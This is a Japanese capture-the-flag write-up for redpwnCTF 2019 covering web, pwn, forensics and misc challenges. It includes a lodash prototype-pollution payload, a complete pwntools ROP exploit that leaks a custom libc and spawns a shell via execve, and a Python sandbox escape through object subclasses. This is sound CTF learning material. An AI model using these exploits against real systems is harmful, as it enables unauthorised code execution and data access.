team Contrailのdouroとして参加し、フラグを入れた926チーム中57位でした。私は一日目の終わりから参加して1552pt獲得しました。解いた問題は
- Stop, ROP, n', Roll
- HARDMODE
- Super Hash
- l-star
- genericpyjail2
- ghast
- Dedication
- Survey
- blueprint
です。変な問題捨てればhell.cとBlack Echoは通せたかもと後悔があり、次に生かしたいです。一応全ジャンルできたのはうれしい。
あとred-pwn-isは問題サーバー(aws)のcredをHTTP Header Injectionで盗めたけどこれは罠でなんも権限がなく、普通にlocalhostのRedisにたいするSSRFだった。運営許せねえ。
最低得点の50pt以外の問題についてWriteupを書きます。
[Web] blueprint (168pt)
node.jsで動いているサーバーにおいて、記事が投稿できる。 flagが public===undefinedで投稿されているので、これをtrueにすれば読むことができる。以下が脆弱なコード。
parsedBody = _.defaultsDeep({ publiс: false, // default private cоntent: '', // default no content }, JSON.parse(body))
単純に__proto__
を用いたプロトタイプ汚染ができそうだが、lodash 4.17.11においては__proto__
ではなくconstructor
を使ったペイロードが通る。{"public":true,"constructor":{"prototype":{"public":true}}}
でpublicをtrueにできてフィニッシュ
[Pwn] Stop, ROP, n', Roll (280pt)
libcがなく、カスタムされたlibcが使われている場合のPwn。
なんか変な処理が入るが、readのrdiを入力で制御できるため、rdiに0を入れてバッファにコードを入れてオーバーフローできる。1バイトずれるためパディングに注意。
libcをリークする所までは普通にできるが、libcからexecveとsystemが抜けてたりputsの位置が異なったりとカスタムされている模様。
write@libcは通常の位置にあったので、rdxをreadのものから流用できることを利用し、libcの内容を__libc_start_mainを基準としてダンプさせる。
どうやらsystemやexecveといった関数が取り除かれているため、頑張るしかない。
pop rax; ret;とpop rdx ; ret;のバイトコード手に入れ、syscallを制御できるようになったらexecve("/bin//sh", 0, 0)
をropで組み立て、シェルを起動する。
from pwn import * import time context.log_level="debug" """ p = process(["strace","/home/yukari/Desktop/srnr"]) p.recv() p.sendline(b"1") p.recv() p.sendafter(b"read(1, ",b"a") p.recvall() """ pop_rdi = 0x00400823 pop_rsi_r15 = 0x00400821 printf_plt = 0x00000000004005c0 printf_got = 0x601fd0 setbuf_got = 0x601fc8 main = 0x0040073b read = 0x4007ad read_got = 0x601fd8 ret = 0x0040059e data = 0x000000000602000 bss = 0x0000000000602020 syscall = 0x00400703 onegadget =0x4f322 offset = 0x186a0 libc_start_main = 0x601ff0 p = process("./srnr") #p=process(["strace","/home/yukari/Desktop/srnr"]) #p= remote("chall.2019.redpwn.net" ,4008) elf = ELF("./srnr") libc = elf.libc binsh = next(elf.search(b"/bin//sh\x00")) #gdb.attach(p,"c") #time.sleep(2) p.recv() p.sendline(b"0") buf = b"" buf += b"A"*17 buf += p64(pop_rdi) buf += p64(read_got) buf += p64(pop_rsi_r15) buf += p64(0) buf += p64(0) buf += p64(printf_plt) buf += p64(ret) buf += p64(main) p.send(buf) read_leak = u64(p.recvuntil(b"\x7f").ljust(8,b"\x00")) libc_base = read_leak- libc.symbols[b"read"] write = libc_base + libc.symbols[b"write"] #leak libc_start_main p.recv() p.sendline(b"0") buf = b"" buf += b"A"*17 buf += p64(pop_rdi) buf += p64(libc_start_main) buf += p64(pop_rsi_r15) buf += p64(0) buf += p64(0) buf += p64(printf_plt) buf += p64(ret) buf += p64(main) p.send(buf) libc_leak = u64(p.recvuntil(b"\x7f").ljust(8,b"\x00")) #leak libc_binary recv = b"" i = 0 p.recv() context.arch = "amd64" pop_rdx_asm = asm(""" pop rdx ret """) pop_rax_asm = asm(""" pop rax ret """) while True: try: p.sendline(b"0") buf = b"" buf += b"A"*17 buf += p64(pop_rsi_r15) buf += p64(libc_leak+offset*i) buf += p64(0) buf += p64(pop_rdi) buf += p64(1) buf += p64(write) buf += p64(ret) buf += p64(main) p.sendline(buf) recv += p.recvuntil(b"[#] number of bytes: ")[:-1*len(b"[#] number of bytes: ")] if (recv.find(pop_rax_asm) != -1 and recv.find(pop_rdx_asm) != -1): pop_rax_offset = recv.find(pop_rax_asm) pop_rdx_offset = recv.find(pop_rdx_asm) break i+=1 except: break pop_rdx = libc_leak + pop_rdx_offset pop_rax = libc_leak + pop_rax_offset print(hex(pop_rdx_offset)) print(hex(pop_rax_offset)) p.sendline(b"0") buf = b"" buf += b"A"*17 buf += p64(pop_rdi) buf += p64(binsh) buf += p64(pop_rax) buf += p64(59) buf += p64(pop_rdx) buf += p64(0) buf += p64(pop_rsi_r15) buf += p64(0) buf += p64(0) buf += p64(syscall) p.send(buf) with open("libc_leaked","wb") as f: f.write(recv) p.interactive()
[Forensics] Dedication (388pt)
パスワード付きzipと壊れたpngファイルが含まれているため、pngを修復する。すると、パスワードが書かれたpngが出現するため、これをもとにzipを解凍すると同様の問題が出現する。
よく覚えていないが、たしかこれを100回以上(もっと多かったと思う。死ぬほどかかった)繰り返さないといけないため、人力では不可能。
また、pythonのzipfileモジュールではパスワード付き解凍が遅すぎて自分の環境ではとても終わらない。
チームメイトのCiruelaさんがpngを修復するコードは書いてくれたため、これを改良し、
を実装した。 頂いたコードは以下
from PIL import Image import numpy as np import os import traceback f_name = os.listdir()[0] f = open(f_name, 'r') out_img = Image.new('RGB', (600, 400)) data_all = f.read() data_start_index = 0 data_end_index = 0 try: for i in range(600): for j in range(400): data_start_index = data_all.find('(', data_start_index) data_end_index = data_all.find(')', data_end_index) rgb_data_str = data_all[data_start_index + 1 :data_end_index].split(',') #print(rgb_data_str) r, g, b = int(rgb_data_str[0]), int(rgb_data_str[1]), int(rgb_data_str[2]) out_img.putpixel((i, j), (r, g, b)) data_start_index += 1 data_end_index += 1 except: traceback.print_exc() f.close() input('[end]') out_img.save('output.png') f.close()
tesseract-ocrを使ってlang=engでpngを読んだが、フォントが特殊なため誤答が非常に多かった。そのため、フォントを特定し、配布されている学習スクリプトを用いて特化した学習を行った。
フォントの特定は"g"の特徴的な形をたよりに行った
これを
https://www.whatfontis.com
に放り込んで、候補に出てきたM+ 2c lightだとわかったので、学習スクリプトを改造した。
学習スクリプトを少ないリソースで回すためにかなり弄ったので詳細は忘れたが、どうにかこのフォントとwordlistに特化したlstmのtraindataを作れたので、これをもとにOCRの誤答率を相当減らすことができた。
zipの解凍がオーバーヘッドになっていたため、zipinfoとunzipを直接呼び出す処理にした。かなり実装が雑だが、圧倒的に早く動いたのでOKです(Flagを入れれば勝ちなので)。最初は解凍をCで実装したが、大変だったのであきらめた。
最終的なコードは以下。
自前でtraindataは用意してください。
from PIL import Image import numpy as np import os import traceback import pyocr import pyocr.builders import glob import zipfile import shutil tool = pyocr.get_available_tools()[0] lang = "eng" while True: f_name = glob.glob("*.png")[0] f = open(f_name, 'rb') out_img = Image.new('RGB', (600, 400)) data_all = f.read() data_start_index = 0 data_end_index = 0 print("image fixing...") try: for i in range(600): for j in range(400): data_start_index = data_all.find(b'(', data_start_index) data_end_index = data_all.find(b')', data_end_index) rgb_data_str = data_all[data_start_index + 1 :data_end_index].split(b',') r, g, b = int(rgb_data_str[0]), int(rgb_data_str[1]), int(rgb_data_str[2]) out_img.putpixel((i, j), (r, g, b)) data_start_index += 1 data_end_index += 1 except: with open("a","r") as f: nextpath = f.readline()[:-1] os.system("display out.png&&rm out.png") zipname = glob.glob("*.zip")[0] txt = input() os.system("unzip -P " + txt + " " + zipname + "&& rm tmp/*&&mv *.zip tmp&&mv *.png tmp&& mv ./" + nextpath + "* . &&rmdir "+nextpath) f.close() print("text reading...") txt = tool.image_to_string( out_img, lang=lang, builder=pyocr.builders.TextBuilder() ).replace(" ","").replace("H","li") print(txt) zipname = glob.glob("*.zip")[0] print(zipname) out_img.save("out.png") print("extracting...") os.system("zipinfo -1 "+ zipname + " > a") with open("a","r") as f: nextpath = f.readline()[:-1] print(nextpath) print("unzip -P " + txt + " " + zipname) os.system("unzip -P " + txt + " " + zipname + "&& rm tmp/*&&mv *.zip tmp&&mv *.png tmp&& mv ./" + nextpath + "* . &&rmdir "+nextpath)
[Misc] l-star (364pt)
cのコードとyay.txtとnay.txtが与えられる。 yay.txtとnay.txtには以下のような文字列が大量に繰り返されている
... ... abbbaabbaba abbabbabbaaba bbabbaaaaaaba bbaaaaaaaaaba bbaaaaabbaba aaaaabbabbaba aabbbbabbaba bbbabbbabbaba aabbbaabbaaba bbabbabbbaba babbabbaaaaba babbbaaaabbab ... ...
コードを読むと、yay.txtに含まれる全ての文字列にマッチして、nay.txtに含まれる全ての文字にマッチしない正規表現を90文字以内で作ることが目標だとわかる。
正規表現を組み立てる前にn-gramで差集合をとって様子を見ようとした。
すると条件をみたす文字列"aba"が出たので、abaを入力してフラグをゲットした。
def get_char_ngram(n,s): gram = [''.join(s[i:i+n]) for i in range(len(s)-n+1)] return gram macher = [] nomacher = [] with open("yay.txt","r") as f: for line in f: macher.append(line) with open("nay.txt","r") as f: for line in f: nomacher.append(line) yay = [] nay = [] for i in range(1,10): for m in macher: yay += (get_char_ngram(i,m)) for m in nomacher: nay += (get_char_ngram(i,m)) yay_set = set(yay) nay_set = set(nay) possible_list = list((yay_set^nay_set)) for p in possible_list: result = 0 for m in macher: result = m.find(p) if(result == -1): break if(result != -1): print(p)
[Misc] genericpyjail2 (152pt)
pyjailの問題。空白、open、import, sys, input等が禁止されている状況でflag.txtを読む。pr0xyさんがx=raw_input()で入力できることを発見したためデバッグにはこれを使ってx=raw_input();exec(x)した。
().__class__bases__[0].__subclasses__()
をenumerateしてダンプすると、fileオブジェクトが見えた。たぶんopenだと思ったので、これを使ってflag.txtを読んだ。
最終的なペイロードは以下
print(().__class__.__bases__[0].__subclasses__()[40]("flag.txt").read())
総括
結構解答に近付けていたのに時間が足りなかった高得点問題が多かった。時間配分についてもう少し考え直したい。